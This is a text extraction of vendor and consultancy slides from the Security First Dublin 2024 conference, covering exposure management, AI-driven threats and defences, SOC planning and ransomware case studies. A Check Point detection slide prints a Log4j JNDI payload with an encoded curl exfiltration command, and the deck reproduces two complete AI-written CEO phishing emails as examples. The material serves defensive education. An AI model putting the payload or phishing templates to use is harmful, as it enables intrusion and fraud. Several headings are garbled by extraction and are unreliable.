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Welcome!  
Security First Dublin 2024

Ronan Kelly
Sales Director Ireland



Largest independent 
dedicated cyber services 
business in Ireland & UK

Global capability, Pan-
European presence

End-to-end pure-play cyber 
security service provider

Strong industry reputation 
with clients and partners

Cyber security focused

Employees

520+

Enterprise 
clients

500

Years
in Business

20

Technical
Cyber Experts

>350

People led culture

Integrity360 helps its clients 
proactively understand and 

protect against the ever-
evolving threat landscape. 

We build long term 
partnerships with our clients. 

Understanding where they are 
today and where they want to 
be in the future. We augment 

skills to go on that cyber 
journey together.

Our approach

Operations in Dublin, London, Madrid, 
Stockholm, Naples & Sofia

Managed Security / Cyber Security Testing / Cyber Risk & Assurance
Cyber Security Technologies / Technical Consulting / PCI Experts

About us
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Áine Kerr
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Exposure, Resilience
& the AI Impact
Why these should be this 
year’s hot topics!

Richard Ford
Chief Technology Officer,  Integrity360



Building an effective security posture
Security First model

SECURITY 
FIRST

Protect yourself as much 
as possible and prevent 
attacks from happening  in 
the first place

Have systems and 
processes in place to 
detect and analyse 
incidents as they occur

Be ready to quickly respond 
to and recover from 

incidents and breaches 
should they occur

Identify threats, assets,  
and vulnerabilities, where 
you are, where you want 

to get to
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Exposure Resilience AI Impact

Why?



Exposure
Hot topic #1

Noun:

1. The state of having n o  p ro t e c t io n  from something h a rm fu l

2. The revelation of something s e c re t , especially something e m b a rra s s in g  or d a m a g in g

- Oxford Dictionary



Continued 
cloud adoption

Shadow IT Legacy
platforms

Growth in 
vulnerabilities

The Challenge

Narrow view of Exposure: CVEs

Unknown or unquantifiable level of exposure or, where 
it is known, an impossible task of prioritising and 
remediating

Result:

Exposure
Hot topic #1



Noun:

1. The capacity to withstand difficulties; toughness

2. The quality of being able to return quickly � to a previous good condition after 
problems

- Cambridge Dictionary

Resilience
Hot topic #2



Regulation

Resilience is the cornerstone of the digital first world:
Maintaining operation in the face of adversity

Architect resilience to attack

Minimise impact of incidents

Have clear & tested path to 
recovery

Resilience
Hot topic #2



AI Impact
Hot topic #3

Hype vs. Hope vs. Reality



AI Impact – Peak hype
Hot topic #3

Attackers Defenders



Security First model

SECURITY 
FIRST

Exposure

Resilience



Name
xxxxxx@integrity360.com

#SecurityFirstDublin

Thank you
Richard Ford
richard.ford@integrity360.com
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Don’t Expose yourself
A modern approach

Brian Martin
Director of Product Management, Integrity360



Contents
Exposure Management

What is exposure?

Types of exposure

How attackers leverage 
exposures

Threat Exposure Management

Key takeaways
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An exposure is anything that 
may be exploited by a bad 

actor to achieve their objectives



Trends exacerbating Attack Surface Exposure
What is Exposure

“Is there any chance you’d be prepared 
to come into the office occasionally?”

Work-from-anywhere era March to the cloud continues Not to mention…

ă ¯ ħ� BEEBHG
Connected IoT devices by 
2027

19 %
Annual growth in OT 
investment to 2030

3 2 9  m illio n
Terabytes of data generated 
daily, up to 90% unstructured
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Vulnerability Management as a problem is not going away
What is Exposure?

Source: Statista.com

Vulnerabilities (CVEs) identified by year
O s ga i � n mjj8�
How many of you find 
managing vulnerabilities easy 
within your organisation?



Risk Based Vulnerability Management (RBVM)
What is Exposure?

“Even taking a risk-based 
vulnerability management (RBVM) 
approach might not be sufficient. 
Fixing every known vulnerability has 
always been operationally 
infeasible.” - GARTNER

Q u ic k p o ll: 
How many of you have 
implemented Risk Based 
Vulnerability Management 
within your organisations?



1�8 

Vulnerabilities

Misconfiguration

Identities & Permissions

SaaS MisuseSecurity Awareness

Supply Chain Risk

Security Controls

Credentials

Physical Security

AI

Categories of 
Exposure extend 

beyond Vulnerabilities

Types of Exposure
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Security leaders must 
become CEOs… 

“Chief Exposure Officers!”



AI – threat or opportunity?
Types of exposure

Security 
Leaders

The Business

AI

• Unauthorised access

• Impact of a breach

• Information governance

• Data classification and labelling

• Access permissions

AI creates new exposure

AI offers opportunities to mitigate 
exposure

• Exposure visibility

• AI-enhanced tooling

• Copilotization of the SOC

• Organising data to train Security LLMs

• Advanced phishing at scale

• Deepfakes & social engineering

• AI-led attack automation

AI turbo charges exposure 
exploitation

The Chief Exposure 
Officer mindset



Attackers chain exposures to build attack paths
How attackers leverage exposure

ATTACK PATH

8

Identify 

key assets

1

Recon

2

Initial 

attack

3

Establish 

foothold

4

Expand 

access

5

Enterprise 

recon

6

Lateral 

movement

7

Escalate 

privileges

9

Access 

objectives

Misconfiguration 
Identified within 
Active Directory 

Environment

Enumerates 
(Port-Scan & 

Service 
Identification) 

the machines in 
scope.

Gains initial 
access via Man 
In The Middle 

Attack

Expands access 
on the internal 

network by 
retrieving a set 

of cached 
credentials from 

memory

Enumeration 
identified all the 
DC’s and SQL 

Servers

Moved laterally 
across network 
with domain- 
level access

Added user to 
Enterprise Admin 
Group 

Identified 
Server 

Containing 
Customer 

Data

Obtained 
Customer Data 

& 
Compromised 

the entire 
domain 

including 
Azure.

Actively exploits 
the vulnerabilities 

identified



Home truths about Exposure Management
Threat Exposure Management

Understanding

Choking off 
attack paths will 
reduce risk

Every organisation needs 
understanding of their 
attack surface, exposures, 
and possible attack paths

Need to constantly 
monitor for new 
exposures that open 
new attack paths

of organisations do 
not have sufficient 
understanding of 
their attack surface

71%



Exposure Management 
Whack-a-Mole

Vulnerabilities

Misconfigurations

Disabled 
Protections

Leaked 
credentials

Default 
passwords

Zero-
days

Excessive 
permissions

How do we 
prioritise 

remediation of 
exposures?



Risk Management 
Threat Exposure Management

RISK = PROBABILITY x IMPACT

CRITICALITY OF EXPOSURE = LIKELIHOOD OF 
EXPLOITATION x IMPACT OF EXPLOITATION

Exp o s u re  Ma n a g e m e n t  

Factors impacting criticality 
of exposure

1. Exploitation Impact
2. Asset criticality
3. Active exploitation in the wild
4. Presence in multiple attack paths

Asset criticality alone is not sufficient to determine the 
priority of remediating an exposure



Exposure remediation prioritisation is vital
Threat Exposure Management overview

Threat

Exposure

Bulkheads not watertight

Inadequate response plan

• Nr of lifeboats: 20, places for 1,178 
people

• Nr of people on board: 2,209
• Women and children first / Women 

and children only?
• Titanic survivors: 712 

o 32% of those on board
o 60% of lifeboat places

Invalid breach 
assumption

Lateral Movement



Components of Exposure Management
Threat Exposure Management overview

Threat Exposure Management
Risk-based Identification & prioritisation 

of exposure to threats

Manage 
vulnerabilities

Manage attack 
surface

Test and 
validate 

exposures

• Asset Discovery
• Scanning
• Classification
• Exploitability
• Prioritisation
• Patching/Mitigation

• Continuous Pen Testing
• Breach and Attack Simulation
• Security controls testing
• Phishing Simulation
• ….

Platform convergence

• External Attack Surface
• Cyber Asset Attack Surface
• Attack Path Analysis
• Cloud Security Posture
• Digital risks/Brand abuse
• Deep/Dark Web
• Supply chain
• People!
• …



Most emerging tech in Security Operations relates to better managing 
exposures

Threat Exposure Management

• Vulnerability Assessment

Mature

Emerging

• Vulnerability Prioritisation
• Digital Risk protection
• Testing for Exposures

• BAS
• PTaaS
• Automated PT
• Automated security 

controls assessment
• Attack Surface Mgmt:

• EASM
• CAASM

• EXPOSURE MANAGEMENT



Continuous Threat Exposure Management
Threat Exposure Management

A continuous threat exposure management (CTEM) programme is an 
integrated, iterative approach to prioritizing potential treatments and 

continually refining security posture improvements.

Both the attackers’ and defenders’ views need to be combined to 
minimise an organisations exposure to present and future threats



The phases of a CTEM Programme
Threat Exposure Management

• Qa mn gl e  (Identifying)
o Business Critical Assets
o External Attack Surface
o SSPM/CSPM
o Digital Risk Protection
o Dark & Deep Web sources

• B gqa mt c pw
o Identify visible & hidden assets
o Identify vulnerabilities & misconfigurations

• Npgmpgrgx_rgml
o Based on urgency, severity and risk

• T _jgb _rgml
o Attack success
o Potential impact
o Response & Remediation speed

• K m` gjgq_rgml
o Build a team to address the exposures
o Confirm the toolset to remediate the 

exposures

An effective Exposure Management 
programme starts with understanding 
which categories of exposure to include

• Resilience
• Risk Reduction
• Reduced cost
• continuous 

improvement

Benefits



Maturity dimensions for Threat Exposure Management
Threat Exposure Management

Management 
Processes

Exposure 
Scope
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Some / Most 
IT Assets

All IT Assets

IOT

Mobile

OT

Vulnerabilities
Misconfigurations

Cloud Security 
Posture

Privileged 
Identities

All  Identities

Open, deep, and dark 
web/ Data leakage

Complete 
Supply chain

Security 
Awareness

Vulnerability 
Management

Risk based 
Prioritisation

External Attack 
Surface 
Management

Pen Testing

Attack 
Path 
Analysis

Red 
Teaming
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Managemen
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VIP 
monitoring

Brand Abuse



Benefits of Continuous Exposure Management (CTEM)
Threat Exposure Management

Re s p o n s e  p re p a re d n e s s
Knowledge gained from CTEM can assist 
security teams detect and respond to threats 
more effectively

Ris k re d u c t io n
CTEM helps prioritise risk reduction actions 
& optimise resource usage

En h a n c e d  re s ilie n c e
CTEM makes organisation more resilient 
against attack

Aml rgl s ms q� gk n pmt c k c l r � � � � � � �
CTEM adopts a continuous process of 
monitoring, evaluating & enhancing threat 
exposures

Im p ro ve d  p rio rit is a t io n
Enables focus on business-critical threats, 
vulnerabilities & exposures

Co s t  o p t im is a t io n  
CTEM allows biggest return on investment 
on mitigation activities



By 2026, organisations prioritising their security 
investments based on a continuous exposure 
management programme will be three times less 
likely to suffer from a breach

“
“



Key takeaways

CEO

Attackers chain exposures

Expand concept of exposure beyond 
vulnerabilities

Identify full attack surface – Internal and 
external

Analyse attack paths and chokepoints to 
aid remediation prioritisation

Implement a Continuous Threat Exposure 
Management programme

Become a CEO!

Thank you
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brian.martin@integrity360.com
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Who is Winning the AI 
Cyber War?

Ian Porteous
Regional Director, Sales Engineering | Office of the CTO

- Check Point



43©2023 Check Point Software Technologies Ltd. 

Deryck Mitchelson | Global Chief Information Security Officer

Who is winning the AI 
Cyber War?

How to stack the deck in 
your favour

AI

AI

AI

AI

AI

AI
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It’s no secret, we’ve ALL been doing it!

Generative-AI Explosion for Business and Personal
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https://www.weforum.org/agenda/2024/01/cyber-resilience-cybersecurity-threats-outlook-
2024/
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Four main 
points of 

view when 
AI meets 

cyber 

AI used by attackers
• Force multiplier 
• More targeted 
• Increase success rate 

(test before you do) 
• New attacks forms 

How to secure AI Usage 
in my org
• Govern access 

to AI services & to data 
• Secure AI pipeline 
• New things: Secure prompts, 

prevent poisoning, secure the 
AI models 

AI Used 
for Defense
• Force multiplier 
• Precision 
• New interface, conversational 

& generative
• New ways to defend. Better 

operations  

And then, like every 
organization, your team 
can leverage 
AI and be better
More efficient, better 
operations & quality, growth, 
development & more 
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DEEPFAKES / VOICEFAKES / NEWSFAKES

NO LONGER 
JUST SCIENCE FICTION
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Powered by 
Generative Adversarial 
Networks (GAN)

DeepFaceLab
https://github.com/iperov/DeepFaceLab

NVIDIA GAN 
https://thispersondoesnotexist.com/

https://www.youtube.com/watch?v=ERQlaJ_czHU

https://www.youtube.com/watch?v=X17yrEV5sl4

https://www.youtube.com/watch?v=oxXpB9pSETo

https://github.com/iperov/DeepFaceLab
https://thispersondoesnotexist.com/
https://www.youtube.com/watch?v=ERQlaJ_czHU
https://www.youtube.com/watch?v=X17yrEV5sl4
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single  portra it photo  + speech  
audio  = hyper-rea listic ta lking 
face  video with precise lip-audio 
sync, lifelike facia l behavior, 
and na tura listic head movements, 
genera ted  in rea l t im e .

https://www.microsoft.com/en-us/research/project/vasa-1/
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Could AI Influence Elections?
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IS THIS A BUSINESS RISK?
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Image if this deepfake technology could 
impersonate executives live on a video call

It already has
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Voice Deepfakes are Coming 
for your Bank Balance
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AI DRIVEN PHISHING EPIDEMIC
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We are now in an AI-driven Phishing Epidemic

X
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Subject: Urgent Action Required: New Stock Options Plan Announced

Dear [Company Name] Team,

I hope this email finds you well. Today, I have some exciting news to share with all of you. As we continue to grow and thrive as a company, we are constantly seeking 
ways to reward and recognize the hard work and dedication of our incredible team.
I am thrilled to announce the launch of our new Stock Options Plan, aimed at enhancing our commitment to our employees and aligning our collective interests even 
further. This plan represents a significant milestone for us, and we believe it will further strengthen our bonds as a united [Company Name] family.
To provide you with detailed information about this exciting opportunity, I have attached comprehensive information about the Stock Options Plan, including eligibility 
criteria, vesting schedules, and the benefits you stand to gain from participating.

[Insert Attachment Link Here]

Please take a moment today to review the attached document carefully. We believe that this plan not only demonstrates our appreciation for your contributions but 
also reinforces our commitment to your personal and professional growth.
If you have any questions or need clarification on any aspect of the Stock Options Plan, please don't hesitate to reach out to our HR department, who will be more than 
happy to assist you.
I want to emphasize that this is a time-sensitive matter, and your prompt attention to this email is greatly appreciated. The deadline for enrollment is [Insert Enrollment 
Deadline Date], so please ensure you review the details and make an informed decision by that date.
Once again, I want to express my gratitude for your hard work, dedication, and unwavering commitment to our company's success. Our employees are our most 
valuable asset, and we are excited to take this step forward together.
Thank you for your immediate attention to this important matter, and I look forward to witnessing our continued growth and success as a team.
Warm regards,

[Your Name] CEO, [Company Name]

We are now in a Phishing Epidemic
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We are now in a Phishing Epidemic
Subject: Exciting News: New Stock Options Plan Unveiled – Take Action Today!

Dear [Company Name] Team,

I hope this message finds you well. We have some fantastic news to share with all of you that underscores our commitment to your success and your future 
with [Company Name].

Today, I am thrilled to introduce our brand-new Stock Options Plan, a remarkable opportunity designed exclusively for our dedicated team members. This 
initiative is a testament to our belief in your contributions and our determination to reward your hard work.

Please find the comprehensive details of this plan in the attachment to this email:

[Insert Attachment Link Here]

I encourage each one of you to take a few moments to review this attachment. It contains vital information about eligibility criteria, vesting schedules, and the 
exceptional benefits you stand to gain by participating. We've worked diligently to make this plan as accessible and rewarding as possible.

Your immediate attention to this matter is crucial, as the enrollment deadline is set for [Insert Enrollment Deadline Date]. This is your chance to secure a stake 
in our shared success, and I urge you to make an informed decision before this date.

If you have any questions or need clarification regarding any aspect of the Stock Options Plan, our dedicated HR team is available to assist you promptly. Your 
satisfaction and understanding are of utmost importance to us.

We recognize that your time is valuable, and we want to make this process as seamless as possible. As such, we have also organized a series of informational 
sessions and Q&A sessions over the next few days to address any queries you may have. The schedule for these sessions is included in the attachment.
Our success as a company is a direct reflection of the dedication and expertise of each team member, and this Stock Options Plan is just one way we aim to 
reciprocate your commitment.
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Email security
by numbers

75% 1 in 72 30% $4.89m

Over 75% of targeted cyberattacks 
start with an email1 in 72 emails is a phishing attack30% of phishing emails are opened

IBM estimated cost of BEC Breach



59©2023 Check Point Software Technologies Ltd. [Internal Use] for Check Point employees ©2023 Check Point Software Technologies Ltd. 59

AI POWERED HACKTIVISM
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AI Developed and Delivered DDoS

1. It makes the source of the attack difficult to trace. 
2. Available 24×7. The machine does not get tired.
3. The error rate is non-existent. 
4. Fast and efficient decision-making. 
5. It helps the attacker make more automation (repetitive tasks).
6. Predict outcome (predict defensive strategy).

A DDoS attack by itself is already scary as it is. 
But when you add AI into the equation, things get much more dangerous. 

A fully AI-based DDoS attack removes the human from the equation, which isn’t 
good for many reasons: 

Largest blocked 
DDoS attack was 

398 million 
requests per 

second
7x Previous
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AI POWERED RANSOMWARE
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Stress and Burnout 
on the Rise

AI Increasing 
RansomwareThreat
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AI THREATS FOR SOFTWARE DEVELOPMENT
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OWASP Top10 of LLM 

How can we secure all these?
The good news is that we will have jobs. No silver bullets 

Prompt Injection
This manipulates a large 
language model (LLM) through 
deliberate inputs, causing 
unintended actions by the LLM. 
Direct injections overwrite 
system prompts, while indirect 
ones manipulate inputs from 
external sources.

LLM01

Sensitive Information 
Disclosure
LLM’s may inadvertently reveal 
confidential data in its 
responses, leading to 
unauthorized data access, 
privacy violations, and security 
breaches. Implement data 
sanitizations and strict user 
policies to mitigate this.

LLM06

Insecure Output 
Handling
This vulnerability occurs when an 
LLM output is accepted without 
scrutiny, exposing backend 
systems. Misuse may lead to 
severe consequences like XSS, 
CSRF, SSRF, privilege escalation, 
or remote code execution.

LLM02

Insecure Plugin 
Design
LLM plugins can have insecure 
inputs and insufficient access 
control due to lack of application 
control. Attackers can exploit 
these vulnerabilities, resulting in 
severe consequences like 
remote code execution. 

LLM07

Training Data 
Poisoning
Training data poisoning refers to 
manipulating the data or fine-
tuning process to introduce 
vulnerabilities, backdoors or 
biases that could compromise the 
model’s security, effectiveness or 
ethical behavior.

LLM03

Excessive 
Agency
LLM-based systems may 
undertake actions leading to 
unintended consequences. The 
issue arises from excessive 
functionality, permissions, or 
autonomy granted to the LLM-
based systems.

LLM08

Model Denial of 
Service
Attackers cause resource-heavy 
operations on LLMs, leading to 
service degradation or high costs. 
The vulnerability is magnified due 
to the resource-intensive nature 
of LLMs and unpredictability of 
user inputs.

LLM04

Overreliance

Systems or people overly 
depending on LLMs without 
oversight may face misinformation, 
miscommunication, legal issues, 
and security vulnerabilities due to 
incorrect or inappropriate content 
generated by LLMs.

LLM09

Supply Chain 
Vulnerabilities
LLM application lifecycle can be 
compromised by vulnerable 
components or services, leading 
to security attacks. Using third-
party datasets, 
pre-trained models, and plugins 
add vulnerabilities.

LLM05

Model Theft

This involves unauthorized 
access, copying, or exfiltration of 
proprietary LLM models. The 
impact includes economic losses, 
compromised competitive 
advantage, and potential access 
to sensitive information.

LLM10
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FIGHTING AI FIRE WITH FIRE
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Threat intelligence is key for AI-based prevention

Big data threat intelligence
Always acquires the most recent 
IoCs and protections of latest 
attacks seen in the wild 

Telemetry TelemetryACCURATE  PREVENTION 
(MALICIOUS/SAFE)

NetworkEndpoint Email CloudIoT MobileAPIs

AI Threat 
Intelligence 

Cloud

AI technology 
Machine Learning technologies that identify 
and block emerging threats that were never 

seen before
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DEEP LEARNING REDUCES FALSE POSITIVES BY 90%
How AI Deep Learning works vs. Classic Machine Learning 

Features definition
Certifier
OS
Compiler info 
Metadata 
Packer
Writable
Permissions
…etc.

Malicious?

Classic 
Machine 
Learning 

Zero day 
ransomware (exe)

SVM
Random Forest
Decision Trees
...

Classifier Algorithm

Deep 
Learning

Natural network Malicious

Zero day 
ransomware (exe)

All files' bytes 
are processed 

30%
Blocks 

more attacks
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AI Classification of Unknown Genes

Code
Analysis

Behavior 
Analysisflash_update.exe

unknown

Similarity 
Analysis

AI Deep Inspection of Malware DNA

Threat 
Intelligence 

Cloud
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PREVENTATIVE AI IN ACTION
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AI technologies leveraged by Check Point Threat Intelligence 
70+ engines across different security functionality protecting all vectors

Unknown 
Malware

Zero-day 
Phishing

Anomaly 
Detection

Improve 
Accuracy

Expose stealth 
breaches

Campaign 
Hunting

Classify

Infected hosts detection
Sandbox static analysis executables
Sandbox static analysis documents

Sandbox static analysis macros
Sandbox dynamic analysis

Email static analysis
Network zero-phishing detection

Mobile zero-phishing detection
Anti-Phishing AI engine

HTML body NLP

Cloud networks anomaly detection
XDR/XPR user behavior analysis

SSH tunneling
ThreatCloud Campaign Hunting

Documents meta classifier Vectorization family classifier
XDR/XPR incidents aggregation

ML Similarity Model
MRAT Classifier

IP Port

Network AI engines aggregator
Mobile AI engines aggregator

Machine validated signature 

Analyst Mind
Malicious activity detection

DNS 
Security

DNS Tunneling
DNS Slow tunneling  

DGA Domain Generation Algorithm
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AI Blocking zero-day malware

Zero-day malware
“AveMaria” RAT

May 2022

Synced in real-time to all 
enforcement points 

worldwide 

ENDPOINT

CLOUD
GATEWAY 

MOBILE

Detected as malicious 
in seconds

Deep Learning

Machine Learning Emulation Runtime

File Reputation

Threat 
Intelligence 

Cloud

First seen by a 
customer in Italy

Security
Gateway

Prevented in dozens 
of other countries 

within 3 hours

Security
Gateway
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log4j attack Indicators:
• ${
• base64
• java_1
• medium_acuracy
• regex_code_execution_1
• ssti_fast_reg_4 BLOCK

High risk

${jndi:ldap://<SITE>/Basic/Command/Base64/
Y3VybCBodHRwOi8vMTAuMT 
QyLjAuMjM6OTk5IC1kIEBjcmVkaXQ=}

INITIAL
ANALYSIS

AI-BASED
SCORING

Suspicious requests:
3%-5% of all incoming requests

• Initial payload analysis
• Base64 decoding (avoid evasions)
• Collection of telemetry/statistics

• Low reputation (single suspicious request)
• Application awareness – uncommon content
• Indicator scoring – multiple indicators of attack

AI Powering Web & API Security
How AI AppSec uniquely preempts exploitation of Apache server zero-day vulnerabilities
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AI Blocking never-seen-before Phishing Attacks

RESPONSE

GET

AI-based analysis of 300 phishing 
indicators in email & web

#3 BROWSER INSPECTION
(BY INJECTED CODE)

#2 CHECK POINT’S 
INJECTION

#1 GATEWAY WEB INSPECTION

Facebookscam.com

PHISHING SITE
LinkedInscam.com

RESPONSE

GET

IP REPUTATION

SUBJECT CONTEXT

URL EMULATION

HTML INSPECTION

LOOKALIKE FAVICON

URL REPUTATION

NLP

DOMAIN REPUTATION

BRAND IMPERSONATION

+300 indicators

LOOKALIKE FAVICON

BRAND IMPERSONATION

HTML INSPECTION

URL REPUTATION
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AI Preventing 5X more sophisticated DNS attacks

Client Machine Command & Control 
Server

DNS
TRAFFIC ANALYSIS

VERDICT

#1 DGA (Domain Generation 
Algorithm)

6a57jk2ba1d9keg15cbg.appsync-api.eu-west-1.avsvmcloud.com
7sbvaemscs0mc925tb99.appsync-api.us-west-2.avsvmcloud.com
gq1h856599gqh538acqn.appsync-api.us-west-2.avsvmcloud.com
ihvpgv9psvq02ffo77et.appsync-api.us-east-2.avsvmcloud.com
k5kcubuassl3alrf7gm3.appsync-api.eu-west-1.avsvmcloud.com
mhdosoksaccf9sni9icp.appsync-api.eu-west-1.avsvmcloud.com

Block C&C communications and Data theft with Deep Learning engines

#2 DNS Tunneling

f5534496-1a85-4844-8bc0-e9edc537ea40.server-26.deeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ea40.server-34.deeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ea40.server-5.deeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ea40.server-98.deeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ea40.server-73.deeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ea40.server-82.deeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ea40.server-15.deeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ea40.server-59.deeponlines.com

Deep Learning Neural network
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Download 
locally

Commit to CI 
pipeline

Testing 
(including 
security)

Deploy to 
staging and 
production

Step 1 Step 2 Step 3 Step 4
User wants to use 

a new code 
package from a 

known repository

Securing Software Supply Chains at the earliest stages of the CI/CD pipeline

Visibility on code packages traffic:

+ Other vendors

Actual preventions by Check Point: Known vulnerable packages: 

AI Preventing malicious Code Packages
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Try Check Point’s AI For 14 days for Free
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Thank you!

Ian Porteous
Regional Director, Sales 

Engineering | Office of the CTO
Check Point



#SecurityFirstDublin

Comfort break
+ Demo labs

Detect, defend and 
educate in a world of AI

Empowering your
Human Firewall

Fix less, prevent more - 
continuous threat 

Exposure Management 
platform

Actionable intelligence 
demo with Rapid7
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Welcome back



#SecurityFirstDublin

Ronan Kelly

Sales Director Ireland

Gl rc e pgrw1 4 .

Ahmed Aburahal

Technical Product 
Manager

In t e g rit y3 6 0

Nachiket Joshi

Manager, Cloud Sales 
Engineering

Cro w d St rike

Pritesh Mistry

Pre Sales Engineer

Rpc jjgv

Scott Walker

VP of EMEA

Mpa _

Dave Cahill

Enterprise Security 
Architecture Mgr.

An P o s t

Cloud Security panel: Cloud control- 
Managing risks and other Cloud based 

challenges
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Developing the early detection
and prevention foundations
for an effective security
operations strategy

Kash Valji
Senior Director Consulting Systems Engineering -
Fortinet



Building Unified SecOps Platforms
Early Threat Detection Prevention and Response
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Why Are The SOC and SecOps Such Relevant Discussion Points Today

Why Are We Talking About SOCs

The Expansion of the Digital Attack Surface means 
your exposure to advanced adversaries in greater 
than ever

Top Reasons 
Security Operations 
Are More Difficult 
Than They Were 2 
Years Ago
(Enterprise Strategy 
Group Report, ‘SOC 
Modernization and the 
Role of XDR’)

41%

40%

39%

The Threat Landscape is evolving 
and changing rapidly

The attack surface has grown

The attack surface is continuously 
changing and evolving

37%

34%

The volume and complexity of 
security alerts have increased

My organizations increased use of 
public cloud services

The traditional cyber-security 
toolkit used by organisations 
need to be more than just a 
collection of technologies that 
are loosely connected together
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SOC Functions

Identified, Minimised 
and Remediated 

Incidents

High-Level SOC

Threat Intel

Environment Data
(Network and Endpoint 

Events)

High-Level SOC Functions

Incident 
Response

InvestigationTriageDetectionCollection



85© Fortinet Inc. All Rights Reserved.

• Define Mission and Goals
• Threat Modelling: Know your Adversaries 
• Requirements: Standards, Regulations and Policies
• Capabilities
• Choice of a Technology (Fabric)
• Audit from External Cyber Security consultancy
• Continuous Improvement

Ok, I’ve decided I need a Command Centre, or need to improve the one I have, now what?

SOC Planning
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Environment Data
(Network and Endpoint Events)

Unified SecOps Platform

Fortinet SecOps

FortiNDR

FortiSandbox

FortiEDR

FortiTester

FortiDeceptor

Frontline Protection: NGFW / IPS, EPP, Email, Web, Cloud

FortiGuard IR 
Service

FortiGuard 
MDR ServiceFortiSOAR

FortiSIEM

FortiXDR FortiAnalyzer

Identified, Minimised and 
Remediated Incidents

Threat Intel
FortiRecon

SOCaaS

Early Detection Prevention

Central Analytics and 
Response Automation

Continuous Threat 
Management 

External Partnership

Expertise Offload

Contextual Intelligence
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Empowering The Blue Team with Open Standards

Deeper Defences Through Common Frameworks

Open Standards Industry Framework Integration
• Cyber Kill Chain
• MITRE ATT&CK
• MITRE Engage
• MITRE Attack Flow
• STIX / TAXII
• Open API’s
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Start, Build, or Offload Your SOC with 24x7 Coverage

SOC / Cyber Maturity Levels
People

Process

Resource Gap

Process Gap

Basic IT and Networking Expertise Advanced Cybersecurity 
Expertise

Secure Systems
(Assess, Implement, Sustain)

Manage Incidents
(Detect, Respond, Recover)

Technology

L E V E L  1  –  
Secure
Initial

 Basic Access Control
 Anti-Malware
 Device Hardening
 Physical Security
 Manual Inventory L E V E L  2  –  

Defend
Managed

 Perimeter Segmentation
 Broad Network Controls
 Secure Web Gateway
 Secure Access
 Identity Management L E V E L  3  –  

Contain
Defined

 Application Controls
 Virtual Shielding
 Microsegmentation
 Dynamic Access Controls
 Remote Detonation 
 Advanced Endpoint 

Controls (EDR) L E V E L  4  –  
Monitor
Quantitatively 
Managed

 SIEM
 XDR
 Vendor Integrations
 Event Correlation
 Anomaly & Breach 

Detection L E V E L  5  –  
Manage
Optimizing

 OT Threat Management 
Platform

 SOAR

Asset Inventory, Data Flows, Risk Assessment, Vulnerability 
Management, Secure Remote Access, PKI Technology Gap Threat Intelligence, SOC 

Integration, SOAR

LE
VE

LS
 O

F 
PR

O
TE

C
TI

O
N

CYBERSECURITY MATURITYBased on CMMI, NIST, ARC © Fortinet Inc. All Rights Reserved.





#SecurityFirstDublin

Lunch break
+ Demo labs

A new approach to 
Public Cloud Security

See, secure, protect and 
manage your entire 

Attack Surface

Streamline security and 
pick up the pace of 
meeting cyber goals 

Empowering your
human firewall
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Welcome back



#SecurityFirstDublin

Stats, facts, and proactive 
defence strategies against
ransomware

Patrick Wragg
Head of IR, Integrity360

Richard Ford
Chief Technology Officer, Integrity360



Top initial access methods:
#1 Unpatched Vulnerabilities
#2 Credential Compromise
#3 Phishing Emails

Time before a company 
realises it’s compromised:
• Shortest: 23 minutes
• Average: 2 weeks
• Longest: 8 years

Most interesting breach:
Android firmware rootkit

Average data exfiltrated:
2TB

#1 Motivation
Money

Our most common adversaries:
1. Lockbit
2. Black Basta
3. Alphv (Blackcat)

Most common vulnerabilities:

Biggest cyber mistakes we’ve 
seen:
• AV in passive mode
• DC put in DMZ
• Using plain FTP
• Account sharing
• Passwords stored in excel

Common triage calls we get:
• “my mouse is moving by itself”
• “help! someone is buying guns 

using my bank”
• “our website redirects to porn”

Our IR stats...



2 Years

2 Weeks

Çôń r ắňÿĂr ŗôfiļě
Industry: Critical National Infra

Employees: 3000

Annual revenues: £billions

Ransomware: Lockbit

2-week business outage
£2M total cost

Fines/Reputational Damage: £60M

Ĭń r ắçţ

Case study 1



• HR employee gets 
socially engineered 
into opening phishing 
email

• Email is extremely well 
written and contains 
personal information 
from client

• Highly targeted

• SDBbot, a backdoor 
that maintains 
persistence via Shim 
Databases installed as 
initial backdoor

• Cobalt Strike then 
deployed to over 30 
core servers over the 
next 6 months

• 18 months in, activity 
becomes heavy and 
frequent

• TA finds credentials 
stored in plaintext 
spreadsheets and OT 
SCADA diagrams

• Exfiltration of 10TB 
uploaded via Rclone 
exfiltration tool to 
Mega.io

• SQL database dump 
attempt causes a 
database crash, 
alerting the client

• Ransom note sent to 
executives demanding 
£50m

• TA threatens to go 
public and say they 
can control the 
industrial control 
systems and cause 
harm to the public

Case study 1



Credentials
Credentials (including 
Domain Administrator) 
were kept in plaintext 

spreadsheet

Response
Lack of response plan led 
to panic & blame, slowing 

response efforts

Segmentation
Lack of proper 

segmentation in the 
environment meant that 
lateral movement was 

trivial

Logging
• Lack of sufficient 

logging made 
forensics difficult.

• Coverage of devices 
was bad

Monitoring
What controls did detect 

behaviour were not 
monitored, leaving 

attacker to go 
undetected

Legacy Equipment
• Legacy devices meant 

that forensics was 
more difficult

• Post-incident recovery 
difficult due to legacy 

software

Case study 1 – Lessons to learn



28 Days

Çôń r ắňÿĂRŗôfiļě

Industry: Energy

Employees: <2000

Annual revenues: £bn+

Ransomware: Conti

14 days business outage
PII & business sensitive data published

Reputational damage: TBD

Impact

Case study 2



• On-premise Microsoft 
Sharepoint server 
exposed to the 
Internet

• Version not classed as 
vulnerable by 
Microsoft

• Mimikatz used to 
obtain Domain 
Administrator 
credentials

• Cobalt Strike installed

• New user account 
created

• Accessed file shares

• Data uploaded to 
Dropbox

• Phobos ransomware 
deployed across whole 
server estate, crippling 
the business

• Encrypted from 
hypervisor down

• Ransom note left on 
desktops, threat to 
release data 

• Employees personal 
phones called with 
extortion threats

• Data released to dark 
web a week later

Case study 2



Patching
Common in a large 

number of ransomware 
cases, known 

vulnerabilities exploited 
due to poor vulnerability 
management practices

Response
• Low level of IR 

Preparedness led to 
slow response, 
increasing downtime

• No IR retainer so time 
was lost asking for 
help

Network Visibility
Lack of network visibility 

left recon & lateral 
movement trivial largely 
undetected or prevented

Siloed Monitoring
Controls did detect 

behaviour but were not 
monitored, leaving 

attacker to go 
undetected

Case study 2 – Lessons to learn 



Name
